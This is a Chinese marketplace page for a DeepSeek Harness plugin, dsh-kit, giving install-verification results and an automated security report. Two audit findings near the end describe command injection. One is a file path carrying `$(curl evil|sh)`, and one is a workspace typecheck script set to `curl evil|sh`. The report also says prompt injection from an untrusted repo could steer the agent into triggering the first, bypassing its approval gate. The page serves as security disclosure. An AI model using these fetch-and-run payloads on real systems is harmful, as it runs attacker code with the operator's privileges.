安装验证:运行验证通过 (L5) · 验证于 dsh 0.2.1-rc.2 · 验证日期 安装验证详情 →
功能介绍AI
为DeepSeek Harness提供六个实用程序:工作区撤销、桌面通知、自动格式化、实时Git上下文、敏感信息脱敏、验证门。
- 工作区撤销、自动格式化、桌面通知
- 实时Git上下文和敏感信息脱敏
- 验证门,无需构建步骤
能力标签为 AI 推断或 README 规则抽取(见角标),词表受限、未经安装验证;AI = 推断,README = 原文关键词。
安装
dsh plugin --profile web add github:FoyonaCZY/dsh-kit安装方式: GitHub · 运行验证通过 (L5)
验证与兼容性
按插件版本分组:每张卡是该插件版本实测过的 dsh 版本与安装兼容结论(L5 优先)。只列真测过的组合——未列出 = 未实测,不推定兼容。L1–L3 为插件级静态档(与 dsh 版本无关,各 dsh 行同值):在行内「验证等级」格里与 L4/L5 并列显示、标注「静态」,证据体为插件级单份、随行内「查看检查项与证据」出现,不在各版本重复存储。
External credentials(插件级):未检测到
○ 作者未声明 dsh 版本要求 —— 安装不会因版本被拒。
| 插件版本 \ dsh | dsh 0.2.1-rc.2 当前 | dsh 0.2.1-alpha.4 | dsh 0.2.1-alpha.2 | dsh 0.2.0-rc.2 | dsh 0.2.0-rc.1 |
|---|---|---|---|---|---|
| dcd1f3 | ✓ | ✓ | ✓ | ✓ | ✓ |
dcd1f3github✓ 运行验证通过 152026-10-19
https://github.com/FoyonaCZY/dsh-kit
✓dsh 0.2.1-rc.2当前2026-10-19L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.2
- • 被测插件工件: github · https://github.com/FoyonaCZY/dsh-kit(版本未标注)
ID: dsh-kit-4@dcd1f3@dsh0.2.1-rc.2 · 档位: l4-sandbox
签发:2026-10-19 · 有效至:2026-10-26
查看检查项与证据
已在加载器目录树中激活(157 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.2.1-alpha.42026-10-17L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.4
- • 被测插件工件: github · https://github.com/FoyonaCZY/dsh-kit(版本未标注)
ID: dsh-kit-4@dcd1f3@dsh0.2.1-alpha.4 · 档位: l4-sandbox
签发:2026-10-17 · 有效至:2026-10-24
查看检查项与证据
已在加载器目录树中激活(157 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.2.1-alpha.22026-10-11L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • 被测插件工件: github · https://github.com/FoyonaCZY/dsh-kit(版本未标注)
ID: dsh-kit-4@dcd1f3@dsh0.2.1-alpha.2 · 档位: l4-sandbox
签发:2026-10-11 · 有效至:2026-10-18
查看检查项与证据
已在加载器目录树中激活(157 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.2.0-rc.22026-10-09L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.2
- • 被测插件工件: github · https://github.com/FoyonaCZY/dsh-kit(版本未标注)
ID: dsh-kit-4@dcd1f3@dsh0.2.0-rc.2 · 档位: l4-sandbox
签发:2026-10-09 · 有效至:2026-10-16
查看检查项与证据
已在加载器目录树中激活(157 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.2.0-rc.12026-09-29L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.1
- • 被测插件工件: github · https://github.com/FoyonaCZY/dsh-kit(版本未标注)
ID: dsh-kit-4@dcd1f3@dsh0.2.0-rc.1 · 档位: l4-sandbox
签发:2026-09-29 · 有效至:2026-10-06
查看检查项与证据
已在加载器目录树中激活(157 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.1.7-rc.22026-09-25L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.2
- • 被测插件工件: github · https://github.com/FoyonaCZY/dsh-kit(版本未标注)
ID: dsh-kit-4@dcd1f3@dsh0.1.7-rc.2 · 档位: l4-sandbox
签发:2026-09-25 · 有效至:2026-10-02
查看检查项与证据
已在加载器目录树中激活(157 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○dsh 0.1.7-rc.12026-09-23未实测
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.1
- • 被测插件工件: github · https://github.com/FoyonaCZY/dsh-kit(版本未标注)
ID: dsh-kit-4@dcd1f3@dsh0.1.7-rc.1 · 档位: l4-sandbox
签发:2026-09-23 · 有效至:2026-09-30
查看检查项与证据
该档位在这次扫描中未执行。
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.1.7-alpha.22026-09-23L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.1.7-alpha.2
- • 被测插件工件: github · https://github.com/FoyonaCZY/dsh-kit(版本未标注)
ID: dsh-kit-4@dcd1f3@dsh0.1.7-alpha.2 · 档位: l4-sandbox
签发:2026-09-23 · 有效至:2026-09-30
查看检查项与证据
已在加载器目录树中激活(157 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.1.6-alpha.22026-09-20L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.2
- • 被测插件工件: github · https://github.com/FoyonaCZY/dsh-kit(版本未标注)
ID: dsh-kit-4@dcd1f3@dsh0.1.6-alpha.2 · 档位: l3-fullscan
签发:2026-09-20 · 有效至:2026-09-27
查看检查项与证据
已在加载器目录树中激活(157 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.1.6-alpha.12026-09-17L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.1
- • 被测插件工件: github · https://github.com/FoyonaCZY/dsh-kit(版本未标注)
ID: dsh-kit-4@dcd1f3@dsh0.1.6-alpha.1 · 档位: l4-sandbox
签发:2026-09-17 · 有效至:2026-09-24
查看检查项与证据
已在加载器目录树中激活(157 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.1.5-rc.22026-09-13L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.1.5-rc.2
- • 被测插件工件: github · https://github.com/FoyonaCZY/dsh-kit(版本未标注)
ID: dsh-kit-4@dcd1f3@dsh0.1.5-rc.2 · 档位: l4-sandbox
签发:2026-09-13 · 有效至:2026-09-20
查看检查项与证据
已在加载器目录树中激活(157 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.1.3-alpha.22026-09-08L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.2
- • 被测插件工件: github · https://github.com/FoyonaCZY/dsh-kit(版本未标注)
ID: dsh-kit-4@dcd1f3@dsh0.1.3-alpha.2 · 档位: l4-sandbox
签发:2026-09-08 · 有效至:2026-09-15
查看检查项与证据
已在加载器目录树中激活(157 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.1.3-alpha.12026-09-07L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.1
- • 被测插件工件: github · https://github.com/FoyonaCZY/dsh-kit(版本未标注)
ID: dsh-kit-4@dcd1f3@dsh0.1.3-alpha.1 · 档位: l3-fullscan
签发:2026-09-07 · 有效至:2026-09-14
查看检查项与证据
已在加载器目录树中激活(158 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.1.2-rc.12026-09-05L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.1.2-rc.1
- • 被测插件工件: github · https://github.com/FoyonaCZY/dsh-kit#dcd1f3
ID: dsh-kit-4@dcd1f3@dsh0.1.2-rc.1 · 档位: l3-fullscan
签发:2026-09-05 · 有效至:2026-09-12
查看检查项与证据
已在加载器目录树中激活(157 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.1.2-alpha.12026-09-06L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.1.2-alpha.1
- • 被测插件工件: github · https://github.com/FoyonaCZY/dsh-kit(版本未标注)
ID: dsh-kit-4@dcd1f3@dsh0.1.2-alpha.1 · 档位: l3-fullscan
签发:2026-09-06 · 有效至:2026-09-13
查看检查项与证据
已在加载器目录树中激活(156 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓版本史前2026-10-04L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: unknown
- • 被测插件工件: github · https://github.com/FoyonaCZY/dsh-kit(版本未标注)
ID: dsh-kit-4@dcd1f3@dshunknown · 档位: l4-sandbox
签发:2026-10-04 · 有效至:2026-10-11
查看检查项与证据
已在加载器目录树中激活(157 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
作者徽章
将官方徽章嵌入你的 README,展示插件的安全与安装检测状态:
`[](https://www.dsh.so/artifact/dsh-kit-4/)``[](https://www.dsh.so/artifact/dsh-kit-4/)``[](https://www.dsh.so/artifact/dsh-kit-4/)``[](https://www.dsh.so/artifact/dsh-kit-4/)``[](https://www.dsh.so/artifact/dsh-kit-4/)``[](https://www.dsh.so/artifact/dsh-kit-4/)``[](https://www.dsh.so/artifact/dsh-kit-4/)`安全报告
两层自动化检查,都不是人工审核:静态扫描(逐插件规则判定)与模型驱动的动态安全审计(只覆盖静态判定 warn 及以上的插件子集,不执行插件代码)。
静态扫描 低,动态审计最高 高,按「取更严者」→ 总评级 高。
v0.1.0dsh 清单0.1.0git2026-10-210.1.0版本一致clean · npmvet 为 AST 静态扫描(npm 发布物或 git 源码)。
静态发现(6 条)
- 严重spawnShell · shell
src/internal/exec.js:70? spawn(command, { cwd, env: env ?? process.env, shell: true, windowsHide: true }) - 警告fsWrite · files
src/checkpoint.js:146await fs.writeFile(temporary, content) - 警告fsWrite · files
src/checkpoint.js:176await fs.writeFile(temporary, `${JSON.stringify(kept, undefined, 2)}\n`) - 警告fsWrite · files
src/checkpoint.js:401await fs.writeFile(file.path, content) - 警告childProcess · code-exec
src/internal/exec.js:71: spawn(command, [...args], { cwd, env: env ?? process.env, shell: false, windowsHide: true }) - 警告childProcess · code-exec
src/internal/exec.js:122spawn('taskkill', ['/pid', String(child.pid), '/T', '/F'], { windowsHide: true })
展开 2 条审计发现
- high目标文件路径仅转义双引号即拼入 shell 命令,存在命令注入
src/autoformat.js:127buildCommand 把模型给出的路径用双引号包裹,且只转义 `"`。在 sh 的双引号内命令替换仍然生效,因此诸如 `/ws/src/x$(curl evil|sh).ts`(或含反引号、或以反斜杠结尾)的路径会让格式化命令变成以 harness 用户权限执行的任意命令。只要工作区被检测到存在格式化器(任意 `.prettierrc`、`node_modules/.bin/prettier`、`go.mod`、`Cargo.toml`、`ruff.toml`、`pyproject.toml`),且 agent 写入一个扩展名匹配、文件名含 `$()` 或反引号的文件即可触发;该路径由模型选择,不可信仓库可通过提示注入引导,而写文件并不会像 bash 调用那样经过审批门。
- mediumverify 在每个回合结束时自动执行工作区自定义校验命令,无需批准
src/verify.js:128在默认开启 autoDetect 时,只要工作区 package.json 声明了 typecheck/type-check/check-types/types/tsc 之一,agent/turn-stopping 处理器就会在任何修改过文件的回合结束后自动执行该脚本,无需用户确认。恶意或被入侵的仓库因此仅凭 agent 编辑过一个文件,就能在运维者机器上执行任意代码(如 `"typecheck": "curl evil|sh"`),绕过 bash 工具调用本应经过的审批门。
dsh-kit-4 多数插件防御良好,但 autoformat 仅转义双引号便把模型提供的文件路径拼入 shell 命令,可被命令替换注入;verify 还会自动执行工作区自定义脚本。
口径:动态审计只会把风险往严重里判,不会把风险降下来(只升不降,不构成豁免);模型判错时由人工复核撤回,撤回后回到静态判定。合并判定 = 两层中更严的那一个。
免责声明:静态扫描与动态安全审计都是自动化分析,不构成安全保证。安装前请自行审查。
活跃度
最近提交 2026-09-02 · 活跃度:稳定
• 仓库创建: 2026-09-01
• 星标: ★ 0 · 复刻: 0
• 健康度: 稳定 — 近 90 天有提交
来源
GitHub: github.com/FoyonaCZY/dsh-kit
作者 README
GitHub 原文 ↗展示作者仓库中的原始 README 内容,实时抓取、未做改写;优先加载中文版(README.zh-CN.md 等),无中文版时回退英文。
